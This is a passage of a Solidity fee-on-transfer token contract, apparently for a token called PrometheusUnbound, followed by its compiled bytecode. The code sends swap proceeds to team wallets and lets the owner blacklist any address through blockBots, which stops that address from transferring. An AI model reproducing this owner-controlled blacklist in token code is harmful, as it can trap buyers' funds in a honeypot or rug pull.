{ address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a1f565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec0565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e3565b610590565b6040516101a09190612ea5565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613062565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612994565b6105bf565b6040516102089190612ea5565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf4565b60405161024a91906130d7565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a60565b610bfd565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612906565b610caf565b005b3480156102b157600080fd5b506102ba610d9f565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612906565b610e11565b6040516102f09190613062565b60405180910390f35b34801561030557600080fd5b5061030e610e62565b005b34801561031c57600080fd5b50610325610fb5565b6040516103329190612dd7565b60405180910390f35b34801561034757600080fd5b50610350610fde565b60405161035d9190612ec0565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e3565b61101b565b60405161039a9190612ea5565b60405180910390f35b3480156103af57600080fd5b506103b8611039565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab2565b6110b3565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612958565b6111fc565b6040516104179190613062565b60405180910390f35b610428611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc2565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613378565b9150506104b8565b5050565b60606040518060600160405280603381526020016137c360339139905090565b60006105a461059d611283565b848461128b565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611456565b61068d846105d8611283565b6106888560405180606001604052806028815260200161379b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063e611283565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c159092919063ffffffff16565b61128b565b600190509392505050565b6106a0611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc2565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f02565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610925919061292f565b6040518363ffffffff1660e01b8152600401610942929190612df2565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610994919061292f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e11565b600080610a28610fb5565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e44565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adb565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9e929190612e1b565b602060405180830381600087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf09190612a89565b5050565b60006009905090565b610c05611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612fc2565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb7611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3b90612fc2565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de0611283565b73ffffffffffffffffffffffffffffffffffffffff1614610e0057600080fd5b6000479050610e0e81611c79565b50565b6000610e5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d74565b9050919050565b610e6a611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612fc2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f554e424f554e4400000000000000000000000000000000000000000000000000815250905090565b600061102f611028611283565b8484611456565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107a611283565b73ffffffffffffffffffffffffffffffffffffffff161461109a57600080fd5b60006110a530610e11565b90506110b081611de2565b50565b6110bb611283565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612fc2565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612f82565b60405180910390fd5b6111ba60646111ac83683635c9adc5dea000006120dc90919063ffffffff16565b61215790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f19190613062565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290613022565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612f42565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114499190613062565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90613002565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d90612ee2565b60405180910390fd5b60008111611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612fe2565b60405180910390fd5b611581610fb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610fb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5257600f60179054906101000a900460ff1615611822573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182157600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176b611283565b73ffffffffffffffffffffffffffffffffffffffff1614806117e15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c9611283565b73ffffffffffffffffffffffffffffffffffffffff16145b611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613042565b60405180910390fd5b5b5b60105481111561183157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d55750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118de57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119895750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119df5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f75750600f60179054906101000a900460ff165b15611a985742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4757600080fd5b601e42611a549190613198565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa330610e11565b9050600f60159054906101000a900460ff16158015611b105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750600f60169054906101000a900460ff165b15611b5057611b3681611de2565b60004790506000811115611b4e57611b4d47611c79565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0357600090505b611c0f848484846121a1565b50505050565b6000838311158290611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c549190612ec0565b60405180910390fd5b5060008385611c6c9190613279565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc960028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4560028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d70573d6000803e3d6000fd5b5050565b6000600654821115611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612f22565b60405180910390fd5b6000611dc56121ce565b9050611dda818461215790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6e5781602001602082028036833780820191505090505b5090503081600081518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4e57600080fd5b505afa158015611f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f86919061292f565b81600181518110611fc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061307d565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ef5760009050612151565b600082846120fd919061321f565b905082848261210c91906131ee565b1461214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612fa2565b60405180910390fd5b809150505b92915050565b600061219983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f9565b905092915050565b806121af576121ae61225c565b5b6121ba84848461228d565b806121c8576121c7612458565b5b50505050565b60008060006121db61246a565b915091506121f2818361215790919063ffffffff16565b9250505090565b60008083118290612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379190612ec0565b60405180910390fd5b506000838561224f91906131ee565b9050809150509392505050565b600060085414801561227057506000600954145b1561227a5761228b565b600060088190555060006009819055505b565b60008060008060008061229f876124cc565b9550955095509550955095506122fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123de816125dc565b6123e88483612699565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124459190613062565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a0683635c9adc5dea0000060065461215790919063ffffffff16565b8210156124bf57600654683635c9adc5dea000009350935050506124c8565b81819350935050505b9091565b60008060008060008060008060006124e98a6008546009546126d3565b92509250925060006124f96121ce565b9050600080600061250c8e878787612769565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c15565b905092915050565b600080828461258d9190613198565b9050838110156125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c990612f62565b60405180910390fd5b8091505092915050565b60006125e66121ce565b905060006125fd82846120dc90919063ffffffff16565b905061265181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ae8260065461253490919063ffffffff16565b6006819055506126c98160075461257e90919063ffffffff16565b6007819055505050565b6000806000806126ff60646126f1888a6120dc90919063ffffffff16565b61215790919063ffffffff16565b90506000612729606461271b888b6120dc90919063ffffffff16565b61215790919063ffffffff16565b9050600061275282612744858c61253490919063ffffffff16565b61253490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278285896120dc90919063ffffffff16565b9050600061279986896120dc90919063ffffffff16565b905060006127b087896120dc90919063ffffffff16565b905060006127d9826127cb858761253490919063ffffffff16565b61253490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280561280084613117565b6130f2565b9050808382526020820190508285602086028201111561282457600080fd5b60005b85811015612854578161283a888261285e565b845260208401935060208301925050600181019050612827565b5050509392505050565b60008135905061286d81613755565b92915050565b60008151905061288281613755565b92915050565b600082601f83011261289957600080fd5b81356128a98482602086016127f2565b91505092915050565b6000813590506128c18161376c565b92915050565b6000815190506128d68161376c565b92915050565b6000813590506128eb81613783565b92915050565b60008151905061290081613783565b92915050565b60006020828403121561291857600080fd5b60006129268482850161285e565b91505092915050565b60006020828403121561294157600080fd5b600061294f84828501612873565b91505092915050565b6000806040838503121561296b57600080fd5b60006129798582860161285e565b925050602061298a8582860161285e565b9150509250929050565b6000806000606084860312156129a957600080fd5b60006129b78682870161285e565b93505060206129c88682870161285e565b92505060406129d9868287016128dc565b9150509250925092565b600080604083850312156129f657600080fd5b6000612a048582860161285e565b9250506020612a15858286016128dc565b9150509250929050565b600060208284031215612a3157600080fd5b600082013567ffffffffffffffff811115612a4b57600080fd5b612a5784828501612888565b91505092915050565b600060208284031215612a7257600080fd5b6000612a80848285016128b2565b91505092915050565b600060208284031215612a9b57600080fd5b6000612aa9848285016128c7565b91505092915050565b600060208284031215612ac457600080fd5b6000612ad2848285016128dc565b91505092915050565b600080600060608486031215612af057600080fd5b6000612afe868287016128f1565b9350506020612b0f868287016128f1565b9250506040612b20868287016128f1565b9150509250925092565b6000612b368383612b42565b60208301905092915050565b612b4b816132ad565b82525050565b612b5a816132ad565b82525050565b6000612b6b82613153565b612b758185613176565b9350612b8083613143565b8060005b83811015612bb1578151612b988882612b2a565b9750612ba383613169565b925050600181019050612b84565b5085935050505092915050565b612bc7816132bf565b82525050565b612bd681613302565b82525050565b6000612be78261315e565b612bf18185613187565b9350612c01818560208601613314565b612c0a8161344e565b840191505092915050565b6000612c22602383613187565b9150612c2d8261345f565b604082019050919050565b6000612c45601a83613187565b9150612c50826134ae565b602082019050919050565b6000612c68602a83613187565b9150612c73826134d7565b604082019050919050565b6000612c8b602283613187565b9150612c9682613526565b604082019050919050565b6000612cae601b83613187565b9150612cb982613575565b602082019050919050565b6000612cd1601d83613187565b9150612cdc8261359e565b602082019050919050565b6000612cf4602183613187565b9150612cff826135c7565b604082019050919050565b6000612d17602083613187565b9150612d2282613616565b602082019050919050565b6000612d3a602983613187565b9150612d458261363f565b604082019050919050565b6000612d5d602583613187565b9150612d688261368e565b604082019050919050565b6000612d80602483613187565b9150612d8b826136dd565b604082019050919050565b6000612da3601183613187565b9150612dae8261372c565b602082019050919050565b612dc2816132eb565b82525050565b612dd1816132f5565b82525050565b6000602082019050612dec6000830184612b51565b92915050565b6000604082019050612e076000830185612b51565b612e146020830184612b51565b9392505050565b6000604082019050612e306000830185612b51565b612e3d6020830184612db9565b9392505050565b600060c082019050612e596000830189612b51565b612e666020830188612db9565b612e736040830187612bcd565b612e806060830186612bcd565b612e8d6080830185612b51565b612e9a60a0830184612db9565b979650505050505050565b6000602082019050612eba6000830184612bbe565b92915050565b60006020820190508181036000830152612eda8184612bdc565b905092915050565b60006020820190508181036000830152612efb81612c15565b9050919050565b60006020820190508181036000830152612f1b81612c38565b9050919050565b60006020820190508181036000830152612f3b81612c5b565b9050919050565b60006020820190508181036000830152612f5b81612c7e565b9050919050565b60006020820190508181036000830152612f7b81612ca1565b9050919050565b60006020820190508181036000830152612f9b81612cc4565b9050919050565b60006020820190508181036000830152612fbb81612ce7565b9050919050565b60006020820190508181036000830152612fdb81612d0a565b9050919050565b60006020820190508181036000830152612ffb81612d2d565b9050919050565b6000602082019050818103600083015261301b81612d50565b9050919050565b6000602082019050818103600083015261303b81612d73565b9050919050565b6000602082019050818103600083015261305b81612d96565b9050919050565b60006020820190506130776000830184612db9565b92915050565b600060a0820190506130926000830188612db9565b61309f6020830187612bcd565b81810360408301526130b18186612b60565b90506130c06060830185612b51565b6130cd6080830184612db9565b9695505050505050565b60006020820190506130ec6000830184612dc8565b92915050565b60006130fc61310d565b90506131088282613347565b919050565b6000604051905090565b600067ffffffffffffffff8211156131325761313161341f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a3826132eb565b91506131ae836132eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e3576131e26133c1565b5b828201905092915050565b60006131f9826132eb565b9150613204836132eb565b925082613214576132136133f0565b5b828204905092915050565b600061322a826132eb565b9150613235836132eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326e5761326d6133c1565b5b828202905092915050565b6000613284826132eb565b915061328f836132eb565b9250828210156132a2576132a16133c1565b5b828203905092915050565b60006132b8826132cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330d826132eb565b9050919050565b60005b83811015613332578082015181840152602081019050613317565b83811115613341576000848401525b50505050565b6133508261344e565b810181811067ffffffffffffffff8211171561336f5761336e61341f565b5b80604052505050565b6000613383826132eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b6576133b56133c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375e816132ad565b811461376957600080fd5b50565b613775816132bf565b811461378057600080fd5b50565b61378c816132eb565b811461379757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636550726f6d657468657573556e626f756e64207c20742e6d652f50726f6d657468657573556e626f756e645f4f6666696369616ca26469706673582212206a6ff8fae7ac82eb03ee92547a9e0b48f6d606b441cc1115db696972ea09fc3f64736f6c63430008040033
